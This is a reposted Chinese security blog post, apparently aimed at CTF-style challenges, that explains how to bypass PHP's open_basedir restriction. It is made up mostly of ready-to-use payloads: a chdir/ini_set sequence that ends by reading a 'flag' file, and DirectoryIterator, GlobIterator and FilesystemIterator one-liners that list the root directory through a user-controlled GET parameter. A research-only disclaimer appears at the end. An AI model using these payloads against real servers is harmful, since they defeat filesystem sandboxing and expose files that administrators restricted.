bypass open_basedir方法

admin 2022年1月6日01:27:19安全博客评论17 views1063字阅读3分32秒阅读模式

方法一

bypass open_basedir方法

1
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

https://xz.aliyun.com/t/4720

方法二

使用可遍历目录类绕过 open_basedir

使用 DirectoryIterator 类或 FilesystemIterator 类
DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。

测试代码:

1
2
3
4
5
6
7
8
9
10
<?php
$dir = $_GET['whoami'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>

# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

我们输入 /?whoami=glob:///* 即可列出根目录下的所有文件

使用 GlobIterator 类
由于使用 GlobIterator 类支持直接通过模式匹配来寻找文件路径,所以我们就不用在配合glob://协议了。

测试代码:

1
2
3
4
5
6
7
8
9
10
<?php
$dir = $_GET['whoami'];
$a = new GlobIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>

# payload一句话的形式:
$a = new FilesystemIterator("/*");foreach($a as $f){echo($f->__toString().'<br>');}

FROM :blog.cfyqy.com | Author:cfyqy

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:27:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  bypass open_basedir方法 http://cn-sec.com/archives/721553.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: